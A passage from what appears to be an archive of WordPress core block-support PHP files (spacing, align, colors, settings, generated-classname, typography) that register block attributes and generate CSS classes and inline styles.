		return $attributes;
	}

	$skip_padding         = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
	$skip_margin          = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
	$spacing_block_styles = array(
		'padding' => null,
		'margin'  => null,
	);
	if ( $has_padding_support && ! $skip_padding ) {
		$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
	}
	if ( $has_margin_support && ! $skip_margin ) {
		$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
	}
	$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'spacing',
	array(
		'register_attribute' => 'wp_register_spacing_support',
		'apply'              => 'wp_apply_spacing_support',
	)
);
align.php000064400000003254151024204770006355 0ustar00<?php
/**
 * Align block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the align block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_alignment_support( $block_type ) {
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'align', $block_type->attributes ) ) {
			$block_type->attributes['align'] = array(
				'type' => 'string',
				'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ),
			);
		}
	}
}

/**
 * Adds CSS classes for block alignment to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block alignment CSS classes and inline styles.
 */
function wp_apply_alignment_support( $block_type, $block_attributes ) {
	$attributes        = array();
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		$has_block_alignment = array_key_exists( 'align', $block_attributes );

		if ( $has_block_alignment ) {
			$attributes['class'] = sprintf( 'align%s', $block_attributes['align'] );
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'align',
	array(
		'register_attribute' => 'wp_register_alignment_support',
		'apply'              => 'wp_apply_alignment_support',
	)
);
colors.php000064400000013476151024204770006573 0ustar00<?php
/**
 * Colors block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.1.0 Improved $color_support assignment optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_colors_support( $block_type ) {
	$color_support = false;
	if ( $block_type instanceof WP_Block_Type ) {
		$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;
	}
	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$has_link_colors_support       = isset( $color_support['link'] ) ? $color_support['link'] : false;
	$has_button_colors_support     = isset( $color_support['button'] ) ? $color_support['button'] : false;
	$has_heading_colors_support    = isset( $color_support['heading'] ) ? $color_support['heading'] : false;
	$has_color_support             = $has_text_colors_support ||
		$has_background_colors_support ||
		$has_gradients_support ||
		$has_link_colors_support ||
		$has_button_colors_support ||
		$has_heading_colors_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
		$block_type->attributes['backgroundColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
		$block_type->attributes['textColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
		$block_type->attributes['gradient'] = array(
			'type' => 'string',
		);
	}
}


/**
 * Adds CSS classes and inline styles for colors to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function wp_apply_colors_support( $block_type, $block_attributes ) {
	$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;

	if (
		is_array( $color_support ) &&
		wp_should_skip_block_supports_serialization( $block_type, 'color' )
	) {
		return array();
	}

	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$color_block_styles            = array();

	// Text colors.
	if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
		$preset_text_color          = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
		$custom_text_color          = isset( $block_attributes['style']['color']['text'] ) ? $block_attributes['style']['color']['text'] : null;
		$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
	}

	// Background colors.
	if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
		$preset_background_color          = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
		$custom_background_color          = isset( $block_attributes['style']['color']['background'] ) ? $block_attributes['style']['color']['background'] : null;
		$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
	}

	// Gradients.
	if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) {
		$preset_gradient_color          = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
		$custom_gradient_color          = isset( $block_attributes['style']['color']['gradient'] ) ? $block_attributes['style']['color']['gradient'] : null;
		$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'colors',
	array(
		'register_attribute' => 'wp_register_colors_support',
		'apply'              => 'wp_apply_colors_support',
	)
);
settings.php000064400000011025151024204770007116 0ustar00<?php
/**
 * Block level presets support.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Get the class name used on block level presets.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $block Block object.
 * @return string      The unique class name.
 */
function _wp_get_presets_class_name( $block ) {
	return 'wp-settings-' . md5( serialize( $block ) );
}

/**
 * Update the block content with block level presets class name.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function _wp_add_block_level_presets_class( $block_content, $block ) {
	if ( ! $block_content ) {
		return $block_content;
	}

	// return early if the block doesn't have support for settings.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return $block_content;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return $block_content;
	}

	// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
	// Add the class name to the first element, presuming it's the wrapper, if it exists.
	$tags = new WP_HTML_Tag_Processor( $block_content );
	if ( $tags->next_tag() ) {
		$tags->add_class( _wp_get_presets_class_name( $block ) );
	}

	return $tags->get_updated_html();
}

/**
 * Render the block level presets stylesheet.
 *
 * @internal
 *
 * @since 6.2.0
 * @since 6.3.0 Updated preset styles to use Selectors API.
 * @access private
 *
 * @param string|null $pre_render   The pre-rendered content. Default null.
 * @param array       $block The block being rendered.
 *
 * @return null
 */
function _wp_add_block_level_preset_styles( $pre_render, $block ) {
	// Return early if the block has not support for descendent block styles.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return null;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return null;
	}

	$class_name = '.' . _wp_get_presets_class_name( $block );

	// the root selector for preset variables needs to target every possible block selector
	// in order for the general setting to override any bock specific setting of a parent block or
	// the site root.
	$variables_root_selector = '*,[class*="wp-block"]';
	$registry                = WP_Block_Type_Registry::get_instance();
	$blocks                  = $registry->get_all_registered();
	foreach ( $blocks as $block_type ) {
		/*
		 * We only want to append selectors for blocks using custom selectors
		 * i.e. not `wp-block-<name>`.
		 */
		$has_custom_selector =
			( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) ||
			( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) );

		if ( $has_custom_selector ) {
			$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type );
		}
	}
	$variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector );

	// Remove any potentially unsafe styles.
	$theme_json_shape  = WP_Theme_JSON::remove_insecure_properties(
		array(
			'version'  => WP_Theme_JSON::LATEST_SCHEMA,
			'settings' => $block_settings,
		)
	);
	$theme_json_object = new WP_Theme_JSON( $theme_json_shape );

	$styles = '';

	// include preset css variables declaration on the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'variables' ),
		null,
		array(
			'root_selector' => $variables_root_selector,
			'scope'         => $class_name,
		)
	);

	// include preset css classes on the the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'presets' ),
		null,
		array(
			'root_selector' => $class_name . ',' . $class_name . ' *',
			'scope'         => $class_name,
		)
	);

	if ( ! empty( $styles ) ) {
		wp_enqueue_block_support_styles( $styles );
	}

	return null;
}

add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 );
add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 );
generated-classname.php000064400000003321151024204770011160 0ustar00<?php
/**
 * Generated classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Gets the generated classname from a given block name.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param string $block_name Block Name.
 * @return string Generated classname.
 */
function wp_get_block_default_classname( $block_name ) {
	// Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature.
	// Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/').
	$classname = 'wp-block-' . preg_replace(
		'/^core-/',
		'',
		str_replace( '/', '-', $block_name )
	);

	/**
	 * Filters the default block className for server rendered blocks.
	 *
	 * @since 5.6.0
	 *
	 * @param string $class_name The current applied classname.
	 * @param string $block_name The block name.
	 */
	$classname = apply_filters( 'block_default_classname', $classname, $block_name );

	return $classname;
}

/**
 * Adds the generated classnames to the output.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_generated_classname_support( $block_type ) {
	$attributes                      = array();
	$has_generated_classname_support = block_has_support( $block_type, 'className', true );
	if ( $has_generated_classname_support ) {
		$block_classname = wp_get_block_default_classname( $block_type->name );

		if ( $block_classname ) {
			$attributes['class'] = $block_classname;
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'generated-classname',
	array(
		'apply' => 'wp_apply_generated_classname_support',
	)
);
typography.php000064400000070211151024204770007466 0ustar00<?php
/**
 * Typography block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and typography block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_typography_support( $block_type ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return;
	}

	$typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false;
	if ( ! $typography_supports ) {
		return;
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	$has_typography_support = $has_font_family_support
		|| $has_font_size_support
		|| $has_font_style_support
		|| $has_font_weight_support
		|| $has_letter_spacing_support
		|| $has_line_height_support
		|| $has_text_align_support
		|| $has_text_columns_support
		|| $has_text_decoration_support
		|| $has_text_transform_support
		|| $has_writing_mode_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) {
		$block_type->attributes['fontSize'] = array(
			'type' => 'string',
		);
	}

	if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) {
		$block_type->attributes['fontFamily'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for typography features such as font sizes
 * to the incoming attributes array. This will be applied to the block markup in
 * the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Used the style engine to generate CSS and classnames.
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Typography CSS classes and inline styles.
 */
function wp_apply_typography_support( $block_type, $block_attributes ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return array();
	}

	$typography_supports = isset( $block_type->supports['typography'] )
		? $block_type->supports['typography']
		: false;
	if ( ! $typography_supports ) {
		return array();
	}

	if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) {
		return array();
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	// Whether to skip individual block support features.
	$should_skip_font_size       = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' );
	$should_skip_font_family     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' );
	$should_skip_font_style      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' );
	$should_skip_font_weight     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' );
	$should_skip_line_height     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' );
	$should_skip_text_align      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' );
	$should_skip_text_columns    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' );
	$should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' );
	$should_skip_text_transform  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' );
	$should_skip_letter_spacing  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' );
	$should_skip_writing_mode    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' );

	$typography_block_styles = array();
	if ( $has_font_size_support && ! $should_skip_font_size ) {
		$preset_font_size                    = array_key_exists( 'fontSize', $block_attributes )
			? "var:preset|font-size|{$block_attributes['fontSize']}"
			: null;
		$custom_font_size                    = isset( $block_attributes['style']['typography']['fontSize'] )
			? $block_attributes['style']['typography']['fontSize']
			: null;
		$typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value(
			array(
				'size' => $custom_font_size,
			)
		);
	}

	if ( $has_font_family_support && ! $should_skip_font_family ) {
		$preset_font_family                    = array_key_exists( 'fontFamily', $block_attributes )
			? "var:preset|font-family|{$block_attributes['fontFamily']}"
			: null;
		$custom_font_family                    = isset( $block_attributes['style']['typography']['fontFamily'] )
			? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' )
			: null;
		$typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family;
	}

	if (
		$has_font_style_support &&
		! $should_skip_font_style &&
		isset( $block_attributes['style']['typography']['fontStyle'] )
	) {
		$typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontStyle'],
			'font-style'
		);
	}

	if (
		$has_font_weight_support &&
		! $should_skip_font_weight &&
		isset( $block_attributes['style']['typography']['fontWeight'] )
	) {
		$typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontWeight'],
			'font-weight'
		);
	}

	if ( $has_line_height_support && ! $should_skip_line_height ) {
		$typography_block_styles['lineHeight'] = isset( $block_attributes['style']['typography']['lineHeight'] )
			? $block_attributes['style']['typography']['lineHeight']
			: null;
	}

	if ( $has_text_align_support && ! $should_skip_text_align ) {
		$typography_block_styles['textAlign'] = isset( $block_attributes['style']['typography']['textAlign'] )
			? $block_attributes['style']['typography']['textAlign']
			: null;
	}

	if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) {
		$typography_block_styles['textColumns'] = isset( $block_attributes['style']['typography']['textColumns'] )
			? $block_attributes['style']['typography']['textColumns']
			: null;
	}

	if (
		$has_text_decoration_support &&
		! $should_skip_text_decoration &&
		isset( $block_attributes['style']['typography']['textDecoration'] )
	) {
		$typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textDecoration'],
			'text-decoration'
		);
	}

	if (
		$has_text_transform_support &&
		! $should_skip_text_transform &&
		isset( $block_attributes['style']['typography']['textTransform'] )
	) {
		$typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textTransform'],
			'text-transform'
		);
	}

	if (
		$has_letter_spacing_support &&
		! $should_skip_letter_spacing &&
		isset( $block_attributes['style']['typography']['letterSpacing'] )
	) {
		$typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['letterSpacing'],
			'letter-spacing'
		);
	}

	if ( $has_writing_mode_support &&
		! $should_skip_writing_mode &&
		isset( $block_attributes['style']['typography']['writingMode'] )
	) {
		$typography_block_styles['writingMode'] = isset( $block_attributes['style']['typography']['writingMode'] )
			? $block_attributes['style']['typography']['writingMode']
			: null;
	}

	$attributes = array();
	$classnames = array();
	$styles     = wp_style_engine_get_styles(
		array( 'typography' => $typography_block_styles ),
		array( 'convert_vars_to_classnames' => true )
	);

	if ( ! empty( $styles['classnames'] ) ) {
		$classnames[] = $styles['classnames'];
	}

	if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) {
		$classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign'];
	}

	if ( ! empty( $classnames ) ) {
		$attributes['class'] = implode( ' ', $classnames );
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Generates an inline style value for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * Note: This function is for backwards compatibility.
 * * It is necessary to parse older blocks whose typography styles contain presets.
 * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`,
 *   but skips compiling a CSS declaration as the style engine takes over this role.
 * @link https://github.com/wordpress/gutenberg/pull/27555
 *
 * @since 6.1.0
 *
 * @param string $style_value  A raw style value for a single typography feature from a block's style attribute.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string A CSS inline style value.
 */
function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) {
	// If the style value is not a preset CSS variable go no further.
	if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return $style_value;
	}

	/*
	 * For backwards compatibility.
	 * Presets were removed in WordPress/gutenberg#27555.
	 * A preset CSS variable is the style.
	 * Gets the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );

	// Return the actual CSS inline style value,
	// e.g. `var(--wp--preset--text-decoration--underline);`.
	return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug );
}

/**
 * Renders typography styles/content to the block wrapper.
 *
 * @since 6.1.0
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_typography_support( $block_content, $block ) {
	if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) {
		return $block_content;
	}

	$custom_font_size = $block['attrs']['style']['typography']['fontSize'];
	$fluid_font_size  = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) );

	/*
	 * Checks that $fluid_font_size does not match $custom_font_size,
	 * which means it's been mutated by the fluid font size functions.
	 */
	if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) {
		// Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`.
		return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 );
	}

	return $block_content;
}

/**
 * Checks a string for a unit and value and returns an array
 * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ).
 *
 * @since 6.1.0
 *
 * @param string|int|float $raw_value Raw size value from theme.json.
 * @param array            $options   {
 *     Optional. An associative array of options. Default is empty array.
 *
 *     @type string   $coerce_to        Coerce the value to rem or px. Default `'rem'`.
 *     @type int      $root_size_value  Value of root font size for rem|em <-> px conversion. Default `16`.
 *     @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`;
 * }
 * @return array|null An array consisting of `'value'` and `'unit'` properties on success.
 *                    `null` on failure.
 */
function wp_get_typography_value_and_unit( $raw_value, $options = array() ) {
	if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Raw size value must be a string, integer, or float.' ),
			'6.1.0'
		);
		return null;
	}

	if ( empty( $raw_value ) ) {
		return null;
	}

	// Converts numbers to pixel values by default.
	if ( is_numeric( $raw_value ) ) {
		$raw_value = $raw_value . 'px';
	}

	$defaults = array(
		'coerce_to'        => '',
		'root_size_value'  => 16,
		'acceptable_units' => array( 'rem', 'px', 'em' ),
	);

	$options = wp_parse_args( $options, $defaults );

	$acceptable_units_group = implode( '|', $options['acceptable_units'] );
	$pattern                = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/';

	preg_match( $pattern, $raw_value, $matches );

	// Bails out if not a number value and a px or rem unit.
	if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) {
		return null;
	}

	$value = $matches[1];
	$unit  = $matches[2];

	/*
	 * Default browser font size. Later, possibly could inject some JS to
	 * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
	 */
	if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) {
		$value = $value * $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) {
		$value = $value / $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	/*
	 * No calculation is required if swapping between em and rem yet,
	 * since we assume a root size value. Later we might like to differentiate between
	 * :root font size (rem) and parent element font size (em) relativity.
	 */
	if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) {
		$unit = $options['coerce_to'];
	}

	return array(
		'value' => round( $value, 3 ),
		'unit'  => $unit,
	);
}

/**
 * Internal implementation of CSS clamp() based on available min/max viewport
 * width and min/max font sizes.
 *
 * @since 6.1.0
 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values.
 * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero.
 * @access private
 *
 * @param array $args {
 *     Optional. An associative array of values to calculate a fluid formula
 *     for font size. Default is empty array.
 *
 *     @type string $maximum_viewport_width Maximum size up to which type will have fluidity.
 *     @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity.
 *     @type string $maximum_font_size      Maximum font size for any clamp() calculation.
 *     @type string $minimum_font_size      Minimum font size for any clamp() calculation.
 *     @type int    $scale_factor           A scale factor to determine how fast a font scales within boundaries.
 * }
 * @return string|null A font-size value using clamp() on success, otherwise null.
 */
function wp_get_computed_fluid_typography_value( $args = array() ) {
	$maximum_viewport_width_raw = isset( $args['maximum_viewport_width'] ) ? $args['maximum_viewport_width'] : null;
	$minimum_viewport_width_raw = isset( $args['minimum_viewport_width'] ) ? $args['minimum_viewport_width'] : null;
	$maximum_font_size_raw      = isset( $args['maximum_font_size'] ) ? $args['maximum_font_size'] : null;
	$minimum_font_size_raw      = isset( $args['minimum_font_size'] ) ? $args['minimum_font_size'] : null;
	$scale_factor               = isset( $args['scale_factor'] ) ? $args['scale_factor'] : null;

	// Normalizes the minimum font size in order to use the value for calculations.
	$minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw );

	/*
	 * We get a 'preferred' unit to keep units consistent when calculating,
	 * otherwise the result will not be accurate.
	 */
	$font_size_unit = isset( $minimum_font_size['unit'] ) ? $minimum_font_size['unit'] : 'rem';

	// Normalizes the maximum font size in order to use the value for calculations.
	$maximum_font_size = wp_get_typography_value_and_unit(
		$maximum_font_size_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Checks for mandatory min and max sizes, and protects against unsupported units.
	if ( ! $maximum_font_size || ! $minimum_font_size ) {
		return null;
	}

	// Uses rem for accessible fluid target font scaling.
	$minimum_font_size_rem = wp_get_typography_value_and_unit(
		$minimum_font_size_raw,
		array(
			'coerce_to' => 'rem',
		)
	);

	// Viewport widths defined for fluid typography. Normalize units.
	$maximum_viewport_width = wp_get_typography_value_and_unit(
		$maximum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);
	$minimum_viewport_width = wp_get_typography_value_and_unit(
		$minimum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Protects against unsupported units in min and max viewport widths.
	if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) {
		return null;
	}

	// Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value.
	$linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value'];
	if ( empty( $linear_factor_denominator ) ) {
		return null;
	}

	/*
	 * Build CSS rule.
	 * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/.
	 */
